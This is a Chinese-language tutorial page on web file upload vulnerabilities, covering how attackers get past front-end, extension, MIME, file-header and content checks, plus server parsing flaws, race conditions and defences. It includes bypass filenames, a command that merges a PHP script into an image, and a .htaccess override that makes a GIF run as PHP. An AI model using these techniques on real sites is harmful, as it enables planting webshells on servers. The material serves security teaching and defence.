    • 存在文件上传功能的地方都有可能存在文件上传漏洞,比如相册、头像上传,视频、照片分享。论坛发帖和邮箱等可以上传附件的地方也是上传漏阔的高危地带,另外像文件管理器这样的功能也有可能被攻击者所利用。
    • 值得注意的是,如果移动端也存在类似的操作的话,那么相同的原理,也存在文件上传漏洞的风险。

    四、前端检测:

      主要是通过javascript代码进行检测,非常容易进行绕过。

    1. 原理:

      Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

    点击进入:【文件上传绕过】——前端检测_前端js验证漏洞

    2. 如何判断当前页面使用前端is的验证方式:

      前端验证通过以后,表单成功提交后会通过浏览器发出─条网络请求,但是如果前端验证不成功,则不会发出这项网络请求;可以在浏览器的网络元素中查看是否发出了网络请求。

    3. 绕过方法:

    • 删除或者禁用js:火狐浏览器-->about:config-->JavaScriptenable-false (ajax)
    • 使用代理上传文件,Burp Suite;上传符合要求的文件类型,抓包修改文件类型。

    3.1 删除js绕过:

    直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可:

    或者可以不加载所有js,还可以将html源码copy一份到本地,然后对相应代码进行修改,本地提交即可。

    3.2 禁用js绕过:

    点击进入:禁用js绕过文章

    五、后端检测_后缀名检测漏洞:

    1. 原理:

      通常是针对文件的扩展名后缀进行检测,主要是通过黑白名单进行过滤检测,如果不符全过滤规则则不允许上传。
      点击进入:【文件上传绕过】——后端检测_文件的扩展名检测漏洞

    2. 黑名单:

    2.1 原理:

      黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。
    例如: fckeditor 2.4.3 或之前版本的黑名单:

    2.2 绕过方法:

    解析漏洞
    • .htaccess文件解析漏洞
    • apache解析漏洞
    • IIS7.0 | IIS7.5 | Nginx的解析漏洞
    • IIS6.0解析漏洞
    截断上传
    • 截断类型:PHP%00截断
    • 截断原理:由于00代表结束符,所以会把00后面的所有字符都截断
    • 截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态
    大小写绕过

    比如:aSppHp之类。

    黑名单扩展名的漏网之鱼

    比如:
    asacer之类
    asp: asa cer aspx
    jsp: jspx jspf
    php: php php3 php4 php5 phtml pht
    exe: exee

    利用Windows的命名机制

    shell.php.   shell.php空格   shell.php:1.jpg   shell. php::$DATA   shell.php:1.jpg
    在windows中,后缀名后面的点和空格都会被删除掉。

    双写绕过

      有时候在检测时,后台会把敏感字符替换成空格,这个时候,我们可以使用双写进行绕过。比如:pphphp

    3. 白名单:

    3.1 原理:

      白名单检测:一般有个专门的 whitelist 文件,里面会包含的正常文件:
      Jpg png GIF

    3.2 绕过方法:

    解析漏洞
    • .htaccess文件解析漏洞
    • apache解析漏洞
    • IIS7.0 | IIS7.5 | Nginx的解析漏洞
    • IIS6.0解析漏洞
    截断上传
    • 截断类型:PHP%00截断
    • 截断原理:由于00代表结束符,所以会把00后面的所有字符都截断
    • 截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态
    文件包含

    点击进入:文件包含漏洞详解

    六、后端检测_00截断:

    点击进入: 【文件上传绕过】——后端检测_文件名检测00截断绕过

    1. 原理:

      虽然web应用做了校验,但是由于文件上传后的路径用户可以控制,攻击者可以利用手动添加字符串标识符0X00的方式来将后面的拼接的内容进行截断,导致后面的内容无效,而且后面的内容又可以帮助我们绕过黑白名单的检测。

    2. 绕过思路:

      在C语言中,空字符有一个特殊含义,代表字符串的拼接结束。
      这里我们使用的是php语言,属于高级语言,底层靠C语言来实现的,也就是说空字符的字符串拼接结束功能在PHP中也能实现。但是我们在URL中不能直接使用,这样会造成无法识别;我们通过查看ASCII对照表,发现ASCII对照表第一个就空字符,它对应的16进制是00,这里我们就可以用16进制的00来代替空字符,让它截断后面的内容。

    使用burpsuite进行抓包,因为这里是通过URL进行传递的文件上传后存储路径,所以需要对16进制00进行URL编码,编码的结果就是%00,通过这种方式,就可以%00截断后面的内容,让拼接的文件名不再进行生效:

    七、后端检测_MIME检测:

    1. 什么是MIME:

      MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
      点击进入:【文件上传绕过】——后端检测_MIME-TYPE检测漏洞

    绕过上传限制-服务端绕过MIME检测:

    2. 常见的MIME类型:

    text/plain (纯文本)
    text/html (HTML文档)
    text/javascript (js代码)
    application/xhtml+xml (XHTML文档)
    image/gif (GIF图像)
    image/jpeg (JPEG图像)
    image/png (PNG图像)
    video/mpeg (MPEG动画)
    application/octet-stream (二进制数据)
    application/pdf (PDF文档)

    3. 检测方式:

      在文件上传过程中,服务端会针对我们的上传的文件生成一个数组,这个数组其中有一项就是这个文件的类型file_type;服务端对文件进行检测时,就是通过检测脚本中的黑白名单和这个数组中的file_type进行对比,如果符合要求就允许上传这个文件。

    在这里插入图片描述

    4. MIME绕过的原理:

      部分Web应用系统判定文件类型是通过content-type字段,黑客可以通过抓包,将content-type字段改为常见的图片类型,如image/gif,从而绕过校验。
      

    八、后端检测_文件头检测漏洞:

    1. 原理:

      在每一个文件(包括图片,视频或其他的非ASCII文件)的开头(十六进制表示)实际上都有一片区域来显示这个文件的实际用法,这就是文件头标志。我们可以通过16进制编辑器打开文件,添加服务器允许的文件头以绕过检测。
      点击进入:【文件上传绕过】——后端检测_文件头检测漏洞

    2. 常见的文件头:

    注意:下面的文件头的格式是16进制的格式:

    GIF:47 49 46 38 39 61
    png:89 50 4E 47 0D 0A 1A 0A
    JPG:FF D8 FF E0 00 10 4A 46 49 46

    在进行文件头绕过时,我们可以把上面的文件头添加到我们的一句话木马内容最前面,达到绕过文件头检测的目的。

    九、后端检测_内容检测图片马绕过:

    1. 漏洞原理:

      一般文件内容验证使用getimagesize函数检测,会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。
      本实验就是将一句话木马插入到一个[合法]的图片文件当中,然后用webshell管理工具进行远程连接。
      点击进入:【文件上传绕过】——后端检测_内容检测图片马绕过

    2. 图片马制作:

    准备一张图片,这里为a.png,和一个一句话木马,通过以下命令合成一个图片马3.php
    a.php内容:

    <?php phpinfo(); ?>
    


    命令:

    copy a.png /b + a.php /a 3.php  
    /b:指定以二进制格式复制、合并文件,用于图像或者声音类文件
    /a:指定以ascii格式复制、合并文件用于txt等文本类文件
    


    注:这条命令的意思是:通过copy命令,把a.png图片文件,以二进制文件形式添加到a.php文件中,以ASCII文本文件形式输出为3.php文件。

    3. 解析图片马:

      一般解析图片马需要结合解析漏洞或者文件包含才能解析图片马;

    十、解析漏洞:

    1. .htaccess文件解析漏洞:

    1.1 漏洞利用前提::

      web具体应用没有禁止.htaccess文件的上传,同时web服务器提供商允许用户上传自定义的.htaccess文件
      【文件上传绕过】——解析漏洞_.htaccess文件解析漏洞

    1.2 原理:

      .htaccess文件(或者"分布式配置文件") ,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

    1.3 利用方式:

      上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。

    1.4 .htaccess文件内容:

      .htaccess文件解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。

    <FilesMatch "evil.gif">
    SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
    AddHandler php5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
    </FilesMatch>
    

    2. Apache解析漏洞:

    2.1 漏洞原理:

      Apache 解析文件的规则是从右到左开始判断解析,如果后缀名不可识别文件解析,就再往左判断。比如test.php.a.b的“.a”和“.b”这两种后缀是apache不可识别解析,apache就会把test.php.a.b解析成test.php
      点击进入:【文件上传绕过】——解析漏洞_apache解析漏洞

    2.2 影响版本:

    apache 1.x
    apache 2.2.x

    3.  IIS6.0解析漏洞:

    IIS6.0解析漏洞分两种
    1、目录解析:
    xx.asp命名的文件夹里的文件都将会被当成ASP文件执行。
    2、文件解析:
    xx.asp;.jpg 像这种畸形文件名在;后面的直接被忽略,也就是说当成xx.asp文件执行。

    IIS6.0 默认的可执行文件除了asp还包含这三种 .asa .cer .cdx
    点击进入:【文件上传绕过】——解析漏洞_IIS6.0解析漏洞

    4. IIS7.0 | IIS7.5 | Nginx的解析漏洞:

    4.1 原理:

      Nginx拿到文件路径(更专业的说法是URI/test.jpg/test.php后,一看后缀是.php,便认为该文件是php文件,转交给php去处理。php一看/test.jpg/test.php不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpgphp认为这不是php文件,于是返回Access denied
      这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。开启这一选项PHP可以对文件路径进行修理
      举个例子,当php遇到文件路径/1.jpg/2.txt/3.php时,若/1.jpg/2.txt/3.php不存在,则会去掉最后的/3.php,然后判断/1.jpg/2.txt是否存在,若存在,则把/1.jpg/2.txt当做文件/1.jpg/2.txt/3.php,若/1.jpg/2.txt仍不存在,则继续去掉/2.txt,以此类推。
       点击进入:【文件上传绕过】——解析漏洞_IIS7.0 | IIS7.5 | Nginx的解析漏洞

    4.2 漏洞形式:

    www.xxxxx.com/UploadFiles/image/1.jpg/1.php

    4.3 另外两种解析漏洞:

    www.xxxxx.com/UploadFiles/image/1.jpg%00.php
    www.xxxxx.com/UploadFiles/image/1.jpg/%20\0.php

    十一、条件竞争漏洞:

      条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

      上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
      由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:
      1.访问时间点在上传成功之前,没有此文件。
      2.访问时间点在刚上传成功但还没有进行判断,该文件存在。
      3.访问时间点在判断之后,文件被删除,没有此文件。`
      点击进入:条件竞争漏洞

    十二、二次渲染漏洞:

    1. 二次渲染原理:

        在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
        点击进入: 【文件上传绕过】——二次渲染漏洞

    2. 绕过:

    1、配合文件包含漏洞:
      将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
    2、可以配合条件竞争:
      这里二次渲染的逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传

    3. 如何判断图片是否进行了二次处理?

      对比要上传图片与上传后的图片大小,使用16进制编辑器打开图片查看上传后保留了哪些数据,查看那些数据被改变。

    展开全文
  • web安全技术-实验六、文件上传漏洞
  • Web安全渗透学习-文件上传漏洞-附件资源
  • 文件上传漏洞小总结

    千次阅读 2019-10-28 21:13:45
    一、什么是文件上传漏洞 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本...

    一、什么是文件上传漏洞

    文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

    造成文件上传漏洞的原因及原理
    原因:
    1 对于上传文件的后缀名(扩展名)没有做较为严格的限制
    2 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
    3 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
    4 对于web server对于上传文件或者指定目录的行为没有做限制
    原理:
    在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上。

    文件上传可能带来的安全问题:

    -上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行;
    -上传文件是flash的策略文件crossdomiain.xml,黑客用以控制flash在该域下的行为;
    -上传文件是病毒、木马,黑客用以诱骗用户或者管理员下载执行;
    -上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。

    二、攻击类型

    总体分为客户端检测和服务端检测。
    客户端检测:客户端使用JavaScript检测,在文件未上传时,就对文件进行验证;
    服务端检测:服务端脚本一般会检测文件的MIME类型,检测文件扩展名是否合法,
    甚至有些程序员检测文件中是否嵌入恶意代码。

    2.1前端限制:

    当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名。

    绕过方法:
    1.绕过前台脚本检测扩展名,就是将所要上传文件的扩展名更改为符合脚本检测规则的扩展名,通过BurpSuite工具,截取数据包,并将数据包中文件扩展名更改回原来的,达到绕过的目的。
    例如:文件名本来为【evil.jpg】,上传时,用BurpSuite截包后,将数据包中的名字改为【evil.php】(或其它脚本类型)即可。
    2.如果是JS脚本检测,在本地浏览器客户端禁用JS即可。可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现。

    2.2检查扩展名:

    就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传
    在检查的时候有两种策略:黑名单(文件扩展名在黑名单中为不合法)
    白名单(文件扩展名不在白名单的均不合法)
    白名单策略是更加安全的,通过限制上传类型为只有我们接受的类型,可以较好的保证安全,因为黑名单我们可以使用各种方法来进行注入和突破
    原理:
    当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。

    绕过方法
    在一些Web server中,存在解析漏洞
    1.老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
    2.老板本的IIS6中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg
    3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
    4.nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行(fastcgi会把这个文件当php看,不受空字节影响,但是检查文件后缀的那个功能会把空字节后面的东西抛弃,所以识别为jpg)
    5.apache1.x,2.x的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的

    2.3检查http header中的content-type

    原理
    HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改,不过加上一层防护也是可以有一定效果的

    绕过方法
    使用各种各样的工具(如burpsuite)强行篡改Header就可以,将Content-Type: application/php改为其他web程序允许的类型
    Content-Type: image/jpg
    Content-Type: image/png
    Content-Type: text/plain。

    2.4分析文件头的内容来检查文件类型

    这种方法利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。在正常情况下,通过判断前10个字节,基本上就能判断出一个文件的真实类型。

    绕过方法
    给上传脚本加上相应的幻数头字节就可以,php引擎会将 <?之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行

    2.5限制Web Server对于特定类型文件的行为

    导致文件上传漏洞的根本原因在于服务把用户上传的本应是数据的内容当作了代码,一般来说,用户上传的内容都会被存储到特定的一个文件夹下,比如我们很多人习惯于放在 ./upload/ 下面要防止数据被当作代码执行,我们可以限制web server对于特定文件夹的行为。

    绕过方法
    可以通过 move_uploaded_file 函数把自己写的.htaccess 文件上传,覆盖掉服务器上的文件,来定义文件类型和执行权限如果做到了这一点,将获得相当大的权限。

    2.6文件系统00截断

    原理
    在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞。
    绕过方法
    通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。

    三、文件上传漏洞防御

    首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。 其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。 最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
    防范文件上传漏洞常见的几种方法:

    1.文件上传的目录设置为不可执行

    只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。

    2.判断文件类型

    在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

    3.使用随机数改写文件名和文件路径

    文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。

    4.单独设置文件服务器的域名

    由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

    5.限制上传文件大小

    限制上传文件的大小,防止由于内存、磁盘耗尽造成的拒绝服务。
    可以配置web server允许的最大Post大小。
    可以在代码层面获取上传文件的大小,根据文件类型的不同进行进一步的过滤。

    展开全文
  • #PHP文件上传漏洞的源代码
  • 文件上传漏洞原理和利用

    千次阅读 2019-08-06 19:03:45
    文件上传 1.前段选择文件,提交文件 2.浏览器形成POST MultiPart报文发送到服务器 ...文件上传漏洞 1.未对上传文件进行严格的验证和过滤时,容易造成动态文件asp/php/jsp等等 2.如果上传的目标目录没...
  • php文件上传漏洞

    千次阅读 2019-03-06 12:28:59
    文件上传漏洞 文件上传漏洞是指由于服务器对于用户上传部分的控制不严格导致攻击者可以上传一个恶意的可执行的文件到服务器。简单点说,就是用户直接或者通过各种绕过方式将webshell上传到服务器中进而执行利用。 ...
  • 文件上传漏洞(总结)

    2021-07-30 20:29:19
    文件上传漏洞是什么 文件上传必须满足的条件 文件上传漏洞的危害 文件上传的种类 无验证 前端验证 .htaccess 文件头检查 MiMe绕过 双写后缀 文件上传漏洞是什么 指的是用户上传了一个可以执行的脚本,...
  • 渗透测试-文件上传漏洞

    千次阅读 2020-04-13 12:51:47
    文件上传漏洞概述 文件上传漏洞绕过 文件上传漏洞防御 一、WebShell与WebShell管理工具 什么是WebShell webshell,简称网页后门,简单的来说它是运行在web应用之上的远程控制程序。 webshell其实就是一张网页,由...
  • 文件上传漏洞介绍

    2020-05-22 10:42:25
      web应用程序没有对上传文件进行安全判断或者判断条件不够严谨,导致恶意攻击者可以上传木马脚本文件到服务器中,从而执行恶意代码。 1.2 风险点 注册/修改个人信息处(上传头像) 敏感身份认证处(身份证照片...
  • 文件上传漏洞详解

    2020-03-27 22:32:13
    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的。上传的文件可以是木马,病毒,恶意脚本等等。“文件上传”本身并没有任何问题,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 52,950
精华内容 21,180
关键字:

文件上传漏洞